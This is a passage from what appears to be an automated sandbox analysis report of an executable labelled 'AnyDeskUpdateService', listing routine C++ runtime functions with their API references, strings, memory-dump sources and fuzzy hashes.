Opcode Fuzzy Hash: 0117289e98df00da582755afb24c31f3f504ef9a4471fb3c4949e3d48aaf6a78
Instruction Fuzzy Hash: 4B316325A0CE4985EA19BB55E850179A752FB457B0FD80233DA9D03295FE3DF449CB20

Function 00007FF71DD93270 Relevance: 9.1, APIs: 6, Instructions: 90COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00007FF71DD93285
std::_Lockit::_Lockit.LIBCPMT ref: 00007FF71DD932AA
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF71DD932D4
std::_Facet_Register.LIBCPMT ref: 00007FF71DD9334B
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF71DD9336C
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF71DD9337F

Memory Dump Source

Source File: 00000019.00000002.2253430601.00007FF71DD81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00007FF71DD80000, based on PE: true

Associated: 00000019.00000002.2253409830.00007FF71DD80000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253430601.00007FF71DDD3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253430601.00007FF71DDDB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253514569.00007FF71DDDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253531400.00007FF71DDDD000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7ff71dd80000_AnyDeskUpdateService.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_Register
String ID:
API String ID: 2081738530-0
Opcode ID: 3c0f3d2b7e2db67fea3719f7c25c5b52825845983d8d7121c0e12f2b9b1ab6b5
Instruction ID: 260bedd8915162a9243ea8ac2e4728f45535e27f3c4b14d2f1c88dcab77cfc12
Opcode Fuzzy Hash: 3c0f3d2b7e2db67fea3719f7c25c5b52825845983d8d7121c0e12f2b9b1ab6b5
Instruction Fuzzy Hash: 54316121A4CE4A85EE19BB55E850179E362FB45BB4FC81133DA9D032A5FE3DF449CB20

Function 00007FF71DD93690 Relevance: 9.1, APIs: 6, Instructions: 89COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00007FF71DD936A5
std::_Lockit::_Lockit.LIBCPMT ref: 00007FF71DD936CA
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF71DD936F4
std::_Facet_Register.LIBCPMT ref: 00007FF71DD9376B
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF71DD9378C
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF71DD9379F

Memory Dump Source

Source File: 00000019.00000002.2253430601.00007FF71DD81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00007FF71DD80000, based on PE: true

Associated: 00000019.00000002.2253409830.00007FF71DD80000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253430601.00007FF71DDD3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253430601.00007FF71DDDB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253514569.00007FF71DDDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253531400.00007FF71DDDD000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7ff71dd80000_AnyDeskUpdateService.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_Register
String ID:
API String ID: 2081738530-0
Opcode ID: 43d25b79fa40fe7f9d6a89727c4015db81dd33ed5e2c0de3b2d10e90f1ab0995
Instruction ID: ee6a490c997cdd9f7ad99f7f2963e3efec5ea4310b7e692398dd6f85024ca6c7
Opcode Fuzzy Hash: 43d25b79fa40fe7f9d6a89727c4015db81dd33ed5e2c0de3b2d10e90f1ab0995
Instruction Fuzzy Hash: 6A318525A0CE4A85EE19BB55E8501B9A352FB44BB0F981233DA9D43295FE3DE40DCB20

Function 00007FF71DD9A8FC Relevance: 9.1, APIs: 2, Strings: 3, Instructions: 320COMMONLIBRARYCODE

Download Yara Rule

APIs

Is_bad_exception_allowed.LIBVCRUNTIME ref: 00007FF71DD9AA9A
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF71DD9ADC3

Strings

csm, xrefs: 00007FF71DD9A9E1
csm, xrefs: 00007FF71DD9AA43
csm, xrefs: 00007FF71DD9AAC1

Memory Dump Source

Source File: 00000019.00000002.2253430601.00007FF71DD81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00007FF71DD80000, based on PE: true

Associated: 00000019.00000002.2253409830.00007FF71DD80000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253430601.00007FF71DDD3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253430601.00007FF71DDDB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253514569.00007FF71DDDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253531400.00007FF71DDDD000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7ff71dd80000_AnyDeskUpdateService.jbxd

Similarity

API ID: Is_bad_exception_allowedstd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 3523768491-393685449
Opcode ID: 01dbbc9fa7db250a30567b4084371a2519905c46085f65ccfdfdc91a1e3e9cb2
Instruction ID: 3636df347e25398023d29ab295a1c3ff244c8e54f17a4b4409c5a9f73a706ef2
Opcode Fuzzy Hash: 01dbbc9fa7db250a30567b4084371a2519905c46085f65ccfdfdc91a1e3e9cb2
Instruction Fuzzy Hash: DAE1E63390CB8A8AEB14AF35D4803AEB7A1FB44768F501136DACC07655EF39E489CB11

Function 00007FF71DD945A0 Relevance: 9.0, APIs: 3, Strings: 2, Instructions: 240COMMON

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 00007FF71DD948A0
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF71DD948A6
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF71DD948AC

Strings

true, xrefs: 00007FF71DD9473A
false, xrefs: 00007FF71DD9467E

Memory Dump Source

Source File: 00000019.00000002.2253430601.00007FF71DD81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00007FF71DD80000, based on PE: true

Associated: 00000019.00000002.2253409830.00007FF71DD80000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253430601.00007FF71DDD3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253430601.00007FF71DDDB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253514569.00007FF71DDDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253531400.00007FF71DDDD000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7ff71dd80000_AnyDeskUpdateService.jbxd

Similarity

API ID: Concurrency::cancel_current_task
String ID: false$true
API String ID: 118556049-2658103896
Opcode ID: ad251babf673da30d347f085cc8932aed423ad9c8062fdcdc27bd164a5557edd
Instruction ID: 47e2fb45bd94ae1b8debc82dfdc190da64162f2dd01dd510fb81cf59ddb41c65
Opcode Fuzzy Hash: ad251babf673da30d347f085cc8932aed423ad9c8062fdcdc27bd164a5557edd
Instruction Fuzzy Hash: 4C91E122B1DE4985E714AFA1D4002AD73A6FB487A8F854136DE8C5778AFF39C10AC754

Function 00007FF71DD81D40 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00007FF71DD81DAB
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00007FF71DD81DF3
_Getctype.LIBCPMT ref: 00007FF71DD81E0B
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF71DD81E9B

Strings

bad locale name, xrefs: 00007FF71DD81EBE

Memory Dump Source

Source File: 00000019.00000002.2253430601.00007FF71DD81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00007FF71DD80000, based on PE: true

Associated: 00000019.00000002.2253409830.00007FF71DD80000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253430601.00007FF71DDD3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253430601.00007FF71DDDB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253514569.00007FF71DDDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253531400.00007FF71DDDD000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7ff71dd80000_AnyDeskUpdateService.jbxd

Similarity

API ID: std::_$Lockit$GetctypeLocinfo::_Locinfo_ctorLockit::_Lockit::~_
String ID: bad locale name
API String ID: 2967684691-1405518554
Opcode ID: 591d2bd700e3465a55b0f9c6b706778e586fa78e76f39de4335fe8b1c86bd814
Instruction ID: 365a2f191e51f473e754e4704f51c50894ae61d6129dff89be2ed145c4c66c20
Opcode Fuzzy Hash: 591d2bd700e3465a55b0f9c6b706778e586fa78e76f39de4335fe8b1c86bd814
Instruction Fuzzy Hash: A4418922B0DF4599FB16EBB0D4502BCB371AF40B58F844136DE8D26A5AEF38D51E8724

Function 00007FF71DDAADC0 Relevance: 7.6, APIs: 5, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

FlsGetValue.KERNEL32(?,?,?,00007FF71DDA471B,?,?,00000000,00007FF71DDA49B6,?,?,?,?,?,00007FF71DDA4942), ref: 00007FF71DDAADDF
FlsSetValue.KERNEL32(?,?,?,00007FF71DDA471B,?,?,00000000,00007FF71DDA49B6,?,?,?,?,?,00007FF71DDA4942), ref: 00007FF71DDAADFE
FlsSetValue.KERNEL32(?,?,?,00007FF71DDA471B,?,?,00000000,00007FF71DDA49B6,?,?,?,?,?,00007FF71DDA4942), ref: 00007FF71DDAAE26
FlsSetValue.KERNEL32(?,?,?,00007FF71DDA471B,?,?,00000000,00007FF71DDA49B6,?,?,?,?,?,00007FF71DDA4942), ref: 00007FF71DDAAE37
FlsSetValue.KERNEL32(?,?,?,00007FF71DDA471B,?,?,00000000,00007FF71DDA49B6,?,?,?,?,?,00007FF71DDA4942), ref: 00007FF71DDAAE48

Memory Dump Source

Source File: 00000019.00000002.2253430601.00007FF71DD81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00007FF71DD80000, based on PE: true

Associated: 00000019.00000002.2253409830.00007FF71DD80000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253430601.00007FF71DDD3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253430601.00007FF71DDDB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253514569.00007FF71DDDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253531400.00007FF71DDDD000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7ff71dd80000_AnyDeskUpdateService.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: d187414ded89b92ad3fb913650dc6829c15d42d8e5d1f32f0a821160ba34cb20
Instruction ID: f6abd83909493848663a4843fb0aefe9cf78f5350236a2eeaf3aee41305c8718
Opcode Fuzzy Hash: d187414ded89b92ad3fb913650dc6829c15d42d8e5d1f32f0a821160ba34cb20
Instruction Fuzzy Hash: 53119020F0CE0E42F9547721955103AE2415F40FB0F88DB36D9BD0A7D6FD2CE94A4B22

Function 00007FF71DD9B070 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 190COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlEncodePointer.NTDLL ref: 00007FF71DD9B0E0
_CallSETranslator.LIBVCRUNTIME ref: 00007FF71DD9B12B

Strings

MOC, xrefs: 00007FF71DD9B0F4
RCC, xrefs: 00007FF71DD9B0FC

Memory Dump Source

Source File: 00000019.00000002.2253430601.00007FF71DD81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00007FF71DD80000, based on PE: true

Associated: 00000019.00000002.2253409830.00007FF71DD80000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253430601.00007FF71DDD3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253430601.00007FF71DDDB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253514569.00007FF71DDDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253531400.00007FF71DDDD000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7ff71dd80000_AnyDeskUpdateService.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: 9b1374c6934cf619966cd656eb24c3807a1de378a26e39886319f72bbcd0075f
Instruction ID: 4de68b92caead9c1d6810b3e4e7e54467654481485116d7d9f2480692c8589d7
Opcode Fuzzy Hash: 9b1374c6934cf619966cd656eb24c3807a1de378a26e39886319f72bbcd0075f
Instruction Fuzzy Hash: 5F912673A0CB898AE714DF65E4802ADB7A1F744798F91413AEE8C17B54EF39D099CB00

Function 00007FF71DD996B0 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 154COMMONLIBRARYCODE

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF71DD996DB
_IsNonwritableInCurrentImage.LIBCMT ref: 00007FF71DD99772
RtlUnwindEx.KERNEL32 ref: 00007FF71DD997CC

Strings

csm, xrefs: 00007FF71DD99759

Memory Dump Source

Source File: 00000019.00000002.2253430601.00007FF71DD81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00007FF71DD80000, based on PE: true

Associated: 00000019.00000002.2253409830.00007FF71DD80000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253430601.00007FF71DDD3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253430601.00007FF71DDDB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253514569.00007FF71DDDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253531400.00007FF71DDDD000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7ff71dd80000_AnyDeskUpdateService.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm
API String ID: 2395640692-1018135373
Opcode ID: efcaeebe434da237d7f8c65ebcc1af5689e54ad5db89f6b9947abdf816ab4442
Instruction ID: 1fce6fb06b55ca1d01ee431d40aedb2053f6768f7e4bbf06de5b3f927d8089a4
Opcode Fuzzy Hash: efcaeebe434da237d7f8c65ebcc1af5689e54ad5db89f6b9947abdf816ab4442
Instruction Fuzzy Hash: 5F51B531B1DA078ADB18EF15D444678B792FB44BA4F905136EA8D43748EF7EE449CB10

Function 00007FF71DD9AE00 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

RtlEncodePointer.NTDLL ref: 00007FF71DD9AE5F
_CallSETranslator.LIBVCRUNTIME ref: 00007FF71DD9AEAB

Strings

RCC, xrefs: 00007FF71DD9AE7B
MOC, xrefs: 00007FF71DD9AE73

Memory Dump Source

Source File: 00000019.00000002.2253430601.00007FF71DD81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00007FF71DD80000, based on PE: true

Associated: 00000019.00000002.2253409830.00007FF71DD80000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253430601.00007FF71DDD3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253430601.00007FF71DDDB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253514569.00007FF71DDDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253531400.00007FF71DDDD000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7ff71dd80000_AnyDeskUpdateService.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: 9cfd52f45ab5dc4fce2285d457194e45e3416c299f1ca1b90b44c240d660db00
Instruction ID: 235d16abb3223273ed8ba495b8f269789aa248782ef77cc9769db75a45930e13
Opcode Fuzzy Hash: 9cfd52f45ab5dc4fce2285d457194e45e3416c299f1ca1b90b44c240d660db00
Instruction Fuzzy Hash: 0C61723290CB8981DB64AB15E4803AAB7A1FB85794F445236EBDC07B59EF3DD198CB10

Function 00007FF71DD9B5F0 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF71DD9B618
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 00007FF71DD9B700

Strings

csm, xrefs: 00007FF71DD9B752
csm, xrefs: 00007FF71DD9B63A

Memory Dump Source

Source File: 00000019.00000002.2253430601.00007FF71DD81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00007FF71DD80000, based on PE: true

Associated: 00000019.00000002.2253409830.00007FF71DD80000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253430601.00007FF71DDD3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253430601.00007FF71DDDB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253514569.00007FF71DDDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253531400.00007FF71DDDD000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7ff71dd80000_AnyDeskUpdateService.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: 80b5b027944e6adf200c0c0f2cdfffeff40a07b0781abe7934c39ef61a7b1e17
Instruction ID: 78924c960722f885ba614d39027b6c3e0e9534107565a2d7efaa59705e4008db
Opcode Fuzzy Hash: 80b5b027944e6adf200c0c0f2cdfffeff40a07b0781abe7934c39ef61a7b1e17
Instruction Fuzzy Hash: B151B13290CB4A86DB28AB119084278B792FB45BA4FD64136EACC47785DF3EE458CF11

Function 00007FF71DD93E90 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 113COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00007FF71DD93EFB
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00007FF71DD93F43
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF71DD93FD3

Strings

bad locale name, xrefs: 00007FF71DD93FF6

Memory Dump Source

Source File: 00000019.00000002.2253430601.00007FF71DD81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00007FF71DD80000, based on PE: true

Associated: 00000019.00000002.2253409830.00007FF71DD80000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253430601.00007FF71DDD3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253430601.00007FF71DDDB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253514569.00007FF71DDDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253531400.00007FF71DDDD000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7ff71dd80000_AnyDeskUpdateService.jbxd

Similarity

API ID: std::_$Lockit$Locinfo::_Locinfo_ctorLockit::_Lockit::~_
String ID: bad locale name
API String ID: 2775327233-1405518554
Opcode ID: 9fcd7cb336c16f75f25f9420c924380d4a991d24cfce7f84e0b3057f1f7ebc5e
Instruction ID: f43ff70b521ab55f44728dedbc7c0156d6a4a52d46ee770e316e49af9283bb07
Opcode Fuzzy Hash: 9fcd7cb336c16f75f25f9420c924380d4a991d24cfce7f84e0b3057f1f7ebc5e
Instruction Fuzzy Hash: F141DF22B0EE45C9EB18EFB0D4502BC7371EF44B18F844036DE8D27A59EE39D41A8724

Function 00007FF71DD94010 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 113COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00007FF71DD9407B
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00007FF71DD940C3
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF71DD94153

Strings

bad locale name, xrefs: 00007FF71DD94176

Memory Dump Source

Source File: 00000019.00000002.2253430601.00007FF71DD81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00007FF71DD80000, based on PE: true

Associated: 00000019.00000002.2253409830.00007FF71DD80000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253430601.00007FF71DDD3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253430601.00007FF71DDDB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253514569.00007FF71DDDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253531400.00007FF71DDDD000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7ff71dd80000_AnyDeskUpdateService.jbxd

Similarity

API ID: std::_$Lockit$Locinfo::_Locinfo_ctorLockit::_Lockit::~_
String ID: bad locale name
API String ID: 2775327233-1405518554
Opcode ID: c0416db31ead1b90ad17fdb051eb07fe199fd48def58b7b7f5e660e329d7bcf7
Instruction ID: 67bea48a581e5308573235d887f3bb36c755b039ff3024cc3cad7798caa90a45
Opcode Fuzzy Hash: c0416db31ead1b90ad17fdb051eb07fe199fd48def58b7b7f5e660e329d7bcf7
Instruction Fuzzy Hash: 8C41BE32B0EA0599EB18EFB0D4502EC7375EF44B18F844036DA8C27A56EE39D4198768

Function 00007FF71DDABE9C Relevance: 6.3, APIs: 4, Instructions: 299fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 00007FF71DDABF1B
WriteFile.KERNEL32 ref: 00007FF71DDAC1E3
WriteFile.KERNEL32 ref: 00007FF71DDAC229
GetLastError.KERNEL32 ref: 00007FF71DDAC2DF

Memory Dump Source

Source File: 00000019.00000002.2253430601.00007FF71DD81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00007FF71DD80000, based on PE: true

Associated: 00000019.00000002.2253409830.00007FF71DD80000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253430601.00007FF71DDD3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253430601.00007FF71DDDB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253514569.00007FF71DDDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253531400.00007FF71DDDD000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7ff71dd80000_AnyDeskUpdateService.jbxd

Similarity

API ID: FileWrite$ConsoleErrorLastOutput
String ID:
API String ID: 2718003287-0
Opcode ID: f4985b051c93d1ffe9d611e842d6d6136a1aebebfe2613dad447161918752a3f
Instruction ID: 8514fc8bd6584572140630c47fe27ec9ec4638d46dbc2fd3a60bb07f10b1ff6d
Opcode Fuzzy Hash: f4985b051c93d1ffe9d611e842d6d6136a1aebebfe2613dad447161918752a3f
Instruction Fuzzy Hash: D2D1F536B0CA8589E711DFA9C4405AC7771FB44BA8F848136CE9D97B99EE38D40ACB10

Function 00007FF71DDB40AC Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 194COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF71DDB3A04: GetOEMCP.KERNEL32 ref: 00007FF71DDB3A2E

IsValidCodePage.KERNEL32 ref: 00007FF71DDB4119
GetCPInfo.KERNEL32 ref: 00007FF71DDB415D

Strings

COMSPEC, xrefs: 00007FF71DDB40B6

Memory Dump Source

Source File: 00000019.00000002.2253430601.00007FF71DD81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00007FF71DD80000, based on PE: true

Associated: 00000019.00000002.2253409830.00007FF71DD80000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253430601.00007FF71DDD3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253430601.00007FF71DDDB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253514569.00007FF71DDDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253531400.00007FF71DDDD000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7ff71dd80000_AnyDeskUpdateService.jbxd

Similarity

API ID: CodeInfoPageValid
String ID: COMSPEC
API String ID: 546120528-1631433037
Opcode ID: 46c349e5193ee86d75655e4a574d5ad4ddb955498f1696478ddccb8521d54604
Instruction ID: a384af833afde09a941f79590c86cfc8754d5edba4feffe924ff9d73f1758c99
Opcode Fuzzy Hash: 46c349e5193ee86d75655e4a574d5ad4ddb955498f1696478ddccb8521d54604
Instruction Fuzzy Hash: 6E81F662E0CE8A66E764EF559050179F7A1EB02768FC84037C6CE47690EE3CF6499B20

Function 00007FF71DD9B828 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 163COMMONLIBRARYCODE

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF71DD9B852

Strings

csm, xrefs: 00007FF71DD9B9E6
csm, xrefs: 00007FF71DD9B877

Memory Dump Source

Source File: 00000019.00000002.2253430601.00007FF71DD81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00007FF71DD80000, based on PE: true

Associated: 00000019.00000002.2253409830.00007FF71DD80000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253430601.00007FF71DDD3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253430601.00007FF71DDDB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253514569.00007FF71DDDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253531400.00007FF71DDDD000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7ff71dd80000_AnyDeskUpdateService.jbxd

Similarity

API ID: __except_validate_context_record
String ID: csm$csm
API String ID: 1467352782-3733052814
Opcode ID: 1ef23a5464c2794de408efda5d84bcc14a94eddb4dc116ddde8cda1a9e36996f
Instruction ID: b289f06c215bd3ee2caf10dec1d4d7fcca0d997900a1f3ff3995395151baf8cb
Opcode Fuzzy Hash: 1ef23a5464c2794de408efda5d84bcc14a94eddb4dc116ddde8cda1a9e36996f
Instruction Fuzzy Hash: EE71E57250CA8686DB349F25D08037DBB92EB04BA4F868136DECC07685EF2DD455CB50

Function 00007FF71DD9BED0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF71DD9BF7A
_CreateFrameInfo.LIBVCRUNTIME ref: 00007FF71DD9BFA3

Strings

csm, xrefs: 00007FF71DD9C0A3

Memory Dump Source

Source File: 00000019.00000002.2253430601.00007FF71DD81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00007FF71DD80000, based on PE: true

Associated: 00000019.00000002.2253409830.00007FF71DD80000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253430601.00007FF71DDD3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253430601.00007FF71DDDB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253514569.00007FF71DDDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253531400.00007FF71DDDD000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7ff71dd80000_AnyDeskUpdateService.jbxd

Similarity

API ID: CreateFrameInfo__except_validate_context_record
String ID: csm
API String ID: 2558813199-1018135373
Opcode ID: 635710ddb9ab94d1a55a8cd141b7dc412ae530ff3b0bfee5224db4b61107a7b5
Instruction ID: 319b0056d61f2572d9c09404a5b3b12d57eca92db5728503d6d1b3d39f12ed9a
Opcode Fuzzy Hash: 635710ddb9ab94d1a55a8cd141b7dc412ae530ff3b0bfee5224db4b61107a7b5
Instruction Fuzzy Hash: 0551613261CB4A86D624AF26E44026EB7B5F788BA0F501136EBCD07B55EF39E454CF10

Function 00007FF71DDA7114 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 111COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF71DDA7146

Part of subcall function 00007FF71DDAB1D8: HeapFree.KERNEL32 ref: 00007FF71DDAB1EE
Part of subcall function 00007FF71DDAB1D8: GetLastError.KERNEL32 ref: 00007FF71DDAB1F8

GetModuleFileNameW.KERNEL32 ref: 00007FF71DDA7164

Strings

